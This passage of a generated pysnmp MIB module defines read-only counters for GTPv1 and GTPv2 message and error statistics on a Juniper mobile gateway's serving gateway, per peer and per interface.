mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInvPrTx.setDescription('Number of GTP packets sent with cause Invalid peer.') jnxMbgSgwPPGtpV1ProtocolErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 202), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1ProtocolErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1ProtocolErrRx.setDescription('Number of GTPv1 Protocol Errors Received.') jnxMbgSgwPPGtpV1UnSupMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 203), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1UnSupMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1UnSupMsgRx.setDescription('Number of GTPv1 Unsupported Messages received.') jnxMbgSgwPPGtpV1T3RespTmrExpRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 204), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1T3RespTmrExpRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1T3RespTmrExpRx.setDescription('Number of GTP V1 T3 timer expiries Received.') jnxMbgSgwPPGtpV1EndMarkerRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 205), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1EndMarkerRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1EndMarkerRx.setDescription('Number of GTP V1 end marker packets received.') jnxMbgSgwPPGtpV1EndMarkerTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 206), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1EndMarkerTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1EndMarkerTx.setDescription('Number of GTP V1 end marker packets sent.') jnxMbgSgwPPGtpV1EchoReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 207), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1EchoReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1EchoReqRx.setDescription('Number of GTP V1 echo request packets received.') jnxMbgSgwPPGtpV1EchoReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 208), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1EchoReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1EchoReqTx.setDescription('Number of GTP iV1 echo request packets sent.') jnxMbgSgwPPGtpV1EchoRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 209), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1EchoRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1EchoRespRx.setDescription('Number of GTP V1 echo response packets received.') jnxMbgSgwPPGtpV1EchoRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 210), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1EchoRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1EchoRespTx.setDescription('Number of GTP V1 echo response packets sent.') jnxMbgSgwPPGtpV1ErrIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 211), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1ErrIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1ErrIndRx.setDescription('Number of GTP V1 Error Indication packets received.') jnxMbgSgwPPGtpV1ErrIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 212), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1ErrIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV1ErrIndTx.setDescription('Number of GTP V1 Error Indication packets sent.') jnxMbgSgwPPSuspNotifRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 213), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPSuspNotifRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPSuspNotifRx.setDescription('Number of GTPv2 Suspend Notification messages received.') jnxMbgSgwPPSuspNotifTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 214), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPSuspNotifTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPSuspNotifTx.setDescription('Number of GTPv2 Suspend Notification messages sent.') jnxMbgSgwPPSuspAckRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 215), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPSuspAckRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPSuspAckRx.setDescription('Number of GTPv2 Suspend Acknowledgement messages received.') jnxMbgSgwPPSuspAckTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 216), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPSuspAckTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPSuspAckTx.setDescription('Number of GTPv2 Suspend Acknowledgement messages sent.') jnxMbgSgwPPResumeNotifRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 217), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPResumeNotifRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPResumeNotifRx.setDescription('Number of GTPv2 Resume Notification messages received.') jnxMbgSgwPPResumeNotifTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 218), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPResumeNotifTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPResumeNotifTx.setDescription('Number of GTPv2 Resume Notification messages sent.') jnxMbgSgwPPResumeAckRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 219), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPResumeAckRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPResumeAckRx.setDescription('Number of GTPv2 Resume Acknowledgement messages received.') jnxMbgSgwPPResumeAckTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 220), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPResumeAckTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPResumeAckTx.setDescription('Number of GTPv2 Resume Acknowledgement messages sent.') jnxMbgSgwPPPiggybackMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 221), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPPiggybackMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPPiggybackMsgRx.setDescription('Number of GTPv2 Piggyback messages received.') jnxMbgSgwPPPiggybackMsgTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 222), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPPiggybackMsgTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPPiggybackMsgTx.setDescription('Number of GTPv2 S11 Piggyback messages sent.') jnxMbgSgwGtpIfStatsTable = MibTable((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4), ) if mibBuilder.loadTexts: jnxMbgSgwGtpIfStatsTable.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpIfStatsTable.setDescription('Each entry corresponds to an interface level GTP statistic.') jnxMbgSgwGtpIfStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1), ).setIndexNames((0, "JUNIPER-MOBILE-GATEWAYS", "jnxMbgGwIndex"), (0, "JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwIfIndex")) if mibBuilder.loadTexts: jnxMbgSgwGtpIfStatsEntry.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpIfStatsEntry.setDescription('A specification of the GTP interface level control Statistics.') jnxMbgSgwIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 1), Unsigned32()) if mibBuilder.loadTexts: jnxMbgSgwIfIndex.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfIndex.setDescription('GTP Interface Index') jnxMbgSgwIfType = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 2), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfType.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfType.setDescription('Interface Name.') jnxMbgSgwIfRxPacketsDropped = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 3), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfRxPacketsDropped.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfRxPacketsDropped.setDescription('Number of Received GTP Packets Dropped by the Gateway.') jnxMbgSgwIfPacketAllocFail = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 4), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfPacketAllocFail.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfPacketAllocFail.setDescription('Number of Packet allocation failures in the Gateway.') jnxMbgSgwIfPacketSendFail = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 5), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfPacketSendFail.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfPacketSendFail.setDescription('Number of GTP Packet Send failures in the Gateway.') jnxMbgSgwIfIPVerErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 6), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfIPVerErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfIPVerErrRx.setDescription('Number of IP Version Error Packets Received.') jnxMbgSgwIfIPProtoErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 7), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfIPProtoErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfIPProtoErrRx.setDescription('Number of IP Protocol Error packets Received.') jnxMbgSgwIfGTPPortErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 8), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGTPPortErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGTPPortErrRx.setDescription('Number of Port Error Packets Received.') jnxMbgSgwIfGTPUnknVerRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 9), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGTPUnknVerRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGTPUnknVerRx.setDescription('Number of Unknown Version Packets Received.') jnxMbgSgwIfPcktLenErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 10), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfPcktLenErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfPcktLenErrRx.setDescription('Number of Packet Length Error Packets Received.') jnxMbgSgwIfUnknMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 11), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfUnknMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfUnknMsgRx.setDescription('Number of Unknown Messages Received.') jnxMbgSgwIfProtocolErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 12), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfProtocolErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfProtocolErrRx.setDescription('Number of GTPv2 Protocol Errors Received.') jnxMbgSgwIfUnSupportedMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 13), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfUnSupportedMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfUnSupportedMsgRx.setDescription('Number of GTPv2 Unsupported Messages received.') jnxMbgSgwIfT3RespTmrExpRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 14), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfT3RespTmrExpRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfT3RespTmrExpRx.setDescription('Number of GTP V2 T3 timer expiries Received.') jnxMbgSgwIfV2NumMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 15), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfV2NumMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfV2NumMsgRx.setDescription('Number of GTPv2 messages received.') jnxMbgSgwIfV2NumMsgTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 16), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfV2NumMsgTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfV2NumMsgTx.setDescription('Number of V2 messages sent.') jnxMbgSgwIfV2NumBytesRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 17), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfV2NumBytesRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfV2NumBytesRx.setDescription('Number of GTPv2 bytes received.') jnxMbgSgwIfV2NumBytesTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 18), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfV2NumBytesTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfV2NumBytesTx.setDescription('Number of V2 bytes sent.') jnxMbgSgwIfV2EchoReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 19), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfV2EchoReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfV2EchoReqRx.setDescription('Number of GTP V2 Echo Request received.') jnxMbgSgwIfV2EchoReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 20), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfV2EchoReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfV2EchoReqTx.setDescription('Number of GTP V2 Echo Request Sent.') jnxMbgSgwIfV2EchoRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 21), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfV2EchoRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfV2EchoRespRx.setDescription('Number of GTP V2 Echo Response received.') jnxMbgSgwIfV2EchoRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 22), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfV2EchoRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfV2EchoRespTx.setDescription('Number of GTP V2 Echo Response Sent.') jnxMbgSgwIfV2VerNotSupRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 23), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfV2VerNotSupRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfV2VerNotSupRx.setDescription('Number of GTP V2 Version Not supported messages received') jnxMbgSgwIfV2VerNotSupTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 24), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfV2VerNotSupTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfV2VerNotSupTx.setDescription('Number of GTP V2 version not supported messages sent.') jnxMbgSgwIfCreateSessReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 25), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfCreateSessReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfCreateSessReqRx.setDescription('Number of GTP V2 Create Session Requests received.') jnxMbgSgwIfCreateSessReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 26), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfCreateSessReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfCreateSessReqTx.setDescription('Number of GTP V2 Create Session Requests Sent.') jnxMbgSgwIfCreateSessRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 27), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfCreateSessRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfCreateSessRspRx.setDescription('Number of GTP V2 Create Session Responses received.') jnxMbgSgwIfCreateSessRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 28), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfCreateSessRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfCreateSessRspTx.setDescription('Number of GTP V2 Create Session Responses Sent.') jnxMbgSgwIfModBrReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 29), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfModBrReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfModBrReqRx.setDescription('Number of GTP V2 Modify Bearer Requests received.') jnxMbgSgwIfModBrReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 30), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfModBrReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfModBrReqTx.setDescription('Number of GTP V2 Modify Bearer Requests Sent.') jnxMbgSgwIfModBrRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 31), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfModBrRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfModBrRspRx.setDescription('Number of GTP V2 Modify Bearer Responses received.') jnxMbgSgwIfModBrRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 32), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfModBrRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfModBrRspTx.setDescription('Number of GTP V2 Modify Bearer Responses Sent.') jnxMbgSgwIfDelSessReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 33), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelSessReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelSessReqRx.setDescription('Number of GTP V2 Delete Session Requests received.') jnxMbgSgwIfDelSessReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 34), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelSessReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelSessReqTx.setDescription('Number of GTP V2 Delete Session Requests Sent.') jnxMbgSgwIfDelSessRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 35), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelSessRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelSessRspRx.setDescription('Number of GTP V2 Delete Session Responses received.') jnxMbgSgwIfDelSessRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 36), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelSessRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelSessRspTx.setDescription('Number of GTP V2 Delete Session Responses Sent.') jnxMbgSgwIfCrtBrReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 37), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfCrtBrReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfCrtBrReqRx.setDescription('Number of GTP V2 Create Bearer Requests received.') jnxMbgSgwIfCrtBrReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 38), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfCrtBrReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfCrtBrReqTx.setDescription('Number of GTP V2 Create Bearer Requests Sent.') jnxMbgSgwIfCrtBrRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 39), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfCrtBrRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfCrtBrRspRx.setDescription('Number of GTP V2 Create Bearer Response received.') jnxMbgSgwIfCrtBrRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 40), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfCrtBrRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfCrtBrRspTx.setDescription('Number of GTP V2 Create Bearer Response Sent.') jnxMbgSgwIfUpdBrReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 41), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfUpdBrReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfUpdBrReqRx.setDescription('Number of GTP V2 Update Bearer Request received.') jnxMbgSgwIfUpdBrReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 42), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfUpdBrReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfUpdBrReqTx.setDescription('Number of GTP V2 Update Bearer Request Sent.') jnxMbgSgwIfUpdBrRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 43), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfUpdBrRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfUpdBrRspRx.setDescription('Number of GTP V2 Update Bearer Response received.') jnxMbgSgwIfUpdBrRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 44), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfUpdBrRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfUpdBrRspTx.setDescription('Number of GTP V2 Update Bearer Response Sent.') jnxMbgSgwIfDelBrReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 45), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelBrReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelBrReqRx.setDescription('Number of GTP V2 Delete Bearer Request received.') jnxMbgSgwIfDelBrReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 46), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelBrReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelBrReqTx.setDescription('Number of GTP V2 Delete Bearer Request Sent.') jnxMbgSgwIfDelBrRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 47), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelBrRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelBrRspRx.setDescription('Number of GTP V2 Delete Bearer Response received.') jnxMbgSgwIfDelBrRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 48), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelBrRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelBrRspTx.setDescription('Number of GTP V2 Delete Bearer Response Sent.') jnxMbgSgwIfDelConnSetReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 49), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelConnSetReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelConnSetReqRx.setDescription('Number of GTP V2 Delete PDN connection set Request received.') jnxMbgSgwIfDelConnSetReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 50), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelConnSetReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelConnSetReqTx.setDescription('Number of GTP V2 Delete PDN connection set Request Sent.') jnxMbgSgwIfDelConnSetRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 51), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelConnSetRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelConnSetRspRx.setDescription('Number of GTP V2 Delete PDN connection set Response received.') jnxMbgSgwIfDelConnSetRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 52), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfDelConnSetRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfDelConnSetRspTx.setDescription('Number of GTP V2 Delete PDN connection set Response Sent.') jnxMbgSgwIfUpdConnSetReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 53), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfUpdConnSetReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfUpdConnSetReqRx.setDescription('Number of GTP V2 Update Connection set Request received.') jnxMbgSgwIfUpdConnSetReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 54), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfUpdConnSetReqTx.setStatus('current') if 